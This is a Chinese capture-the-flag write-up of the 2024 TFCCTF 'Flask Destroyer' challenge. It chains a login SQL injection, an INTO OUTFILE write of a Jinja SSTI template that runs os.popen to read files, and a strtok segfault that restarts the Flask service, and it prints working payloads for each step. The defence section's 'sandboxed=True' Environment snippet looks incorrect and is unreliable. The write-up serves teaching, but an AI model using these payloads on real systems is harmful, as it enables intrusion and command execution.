python函数缺陷导致flask服务重启加载模板的SSTI漏洞
本文深入探究python flask框架中由于某些函数缺陷,导致flask服务重启进而重新加载模板导致的SSTI漏洞。
以2024TFCCTF FLASK DESTROYER为例进行分析
源码如下:
routers.py
from flask import render_template, url_for, flash, redirect, request, Blueprint, current_app, jsonify, session
from app import db
from app.forms import LoginForm
from app.database import get_user_by_username_password
from app.models import User
import os
bp = Blueprint('main', __name__)
registered_templates = os.listdir('app/templates')
@bp.route('/login', methods=['GET', 'POST'])
def login():
form = LoginForm(request.form, meta={'csrf': False})
if form.validate_on_submit():
user = get_user_by_username_password(form.username.data, form.password.data)
if user:
session['id'] = user.id
return redirect(url_for('main.home'))
else:
flash('Login Unsuccessful. Please check username and password', 'danger')
return render_template('login.html', title='Login', form=form)
@bp.get('/logout')
def logout():
session['id'] = None
return redirect(url_for('main.login'))
# Define a route with a URL parameter
@bp.route('/<string:page>')
@bp.route('/', defaults={'page': 'home.html'})
def home(page):
if not session.get('id'):
return redirect(url_for('main.login'))
page = os.path.basename(page)
if page not in registered_templates or not os.path.isfile(os.path.join('app/templates', page)):
return render_template('home.html')
return render_template(page)
我们在database.py文件中明显发现了sql注入漏洞
def get_user_by_username_password(username, password):
"""Fetch user by username."""
query = "SELECT * FROM user WHERE username = \"{}\" AND password = \"{}\"".format(username, password)
result = db.session.execute(text(query))
row = result.fetchone()
if row:
user = User(id = row[0], credentials = f'{row[1]}:{row[2]}')
return user
return None
- 接着发现可以任意加载templates目录下模板的路由,但是此处的
registered_templates = os.listdir('app/templates')
在服务启动的时候就已经把模板加载进了变量,所以我们再写入文件,它的这个变量也没有存放,需要我们通过一定手段写文件之后,将服务重启重新加载模板文件。
@bp.route('/<string:page>')
@bp.route('/', defaults={'page': 'home.html'})
def home(page):
if not session.get('id'):
return redirect(url_for('main.login'))
page = os.path.basename(page)
if page not in registered_templates or not os.path.isfile(os.path.join('app/templates', page)):
return render_template('home.html')
return render_template(page)
- 通过查看my.cnf配置文件,发现sql可以任意目录写文件(secure_file_priv = "" 由此看出置为空字符串的配置问题)
[mysqld]
default-authentication-plugin = mysql_native_password
secure_file_priv = ""
- 观察moudels.py文件,定义了User类,属性名是数据库表的列
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(255), unique=True, nullable=False)
password = db.Column(db.String(255), nullable=False)
def __init__(self, id, credentials):
self.id = id
self.username = strtok(credentials, ':')[0]
self.password = strtok(credentials, ':')[1]
def __repr__(self) -> str:
return f'User(id={self.id}, username={self.username}, password={self.password})'
- 其中我们跟进
strtok
函数(这是本文的函数缺陷所在)
import ctypes
# Load the C standard library
libc = ctypes.CDLL(None) # Automatically finds the C standard library
# Define strtok function prototype
libc.strtok.restype = ctypes.c_char_p
libc.strtok.argtypes = [ctypes.c_char_p, ctypes.c_char_p]
def strtok(input_string, delimiter):
# Create a ctypes string buffer for the input string
input_buffer = ctypes.create_string_buffer(input_string.encode('utf-8'))
# Tokenize the first part of the string
token = libc.strtok(input_buffer, delimiter.encode('utf-8'))
tokens = []
# Iterate through the tokens
while token is not None:
# Add the token to the list of tokens
tokens.append(token.decode('utf-8'))
# Get the next token
token = libc.strtok(None, delimiter.encode('utf-8'))
# Solve edge case
if input_string[-1] == delimiter:
token = ctypes.string_at(token)
tokens.append(token)
return tokens
- 我们重点关注这段代码,while循环中,通过不断分割将字符串添加到token中,最后剩下
None
返回给token
,而之后下面的代码处理边界情况,用了token
作为读取的位置来处理,但此时只能读取到None
,因此我们只需要构造结尾是:
便会走进if
。
# Iterate through the tokens
while token is not None:
# Add the token to the list of tokens
tokens.append(token.decode('utf-8'))
# Get the next token
token = libc.strtok(None, delimiter.encode('utf-8'))
# Solve edge case
if input_string[-1] == delimiter:
token = ctypes.string_at(token)
tokens.append(token)
return tokens
-
通过本地代码测试,以
:
结尾的字符串运行会产生内存越界错误(Segmentation fault (core dumped))
-
下面是添加
:
结尾前后的运行结果:
漏洞利用
- 登录页面sql写恶意模板文件,注意文件路径源码中有
username=admin";select "{{config.__class__.__init__.__globals__['os'].popen('cat /tmp/*/*/*/*').read()}}" into outfile '/destroyer/app/templates/a.html';#&password=123&vibe=y
- 再利用sql注入修改admin密码为
1:
,此时用admin/1:
登录,服务会报错重新登录即可重启服务
username=admin";update user set password = '1:' where username = 'admin';#
- 利用万能密码登录 最后访问
a.html
恶意模板文件拿到了flag
admin" or 1=1#
防御措施
为了防止此类漏洞,可以采取以下措施:
- 安全配置:
确保模板引擎被配置为不允许执行任意代码。在 Flask 中,可以通过设置 autoescape 和 sandboxed 模式来提高安全性。
from jinja2 import Environment, select_autoescape
app.jinja_env = Environment(
autoescape=select_autoescape(['html', 'xml']),
sandboxed=True
)
-
输入验证:
对用户提供的数据进行严格的验证和过滤,避免将未经处理的数据直接传递给模板引擎。 -
最小权限原则:
使用沙箱模式限制模板内的功能,例如禁用外部函数调用。 -
使用安全函数:
避免使用可能导致 SSTI 的函数,例如直接使用用户提供的字符串作为模板。 -
代码审查:
进行代码审查,确保没有直接输入的地方。
0 条评论
可输入 255 字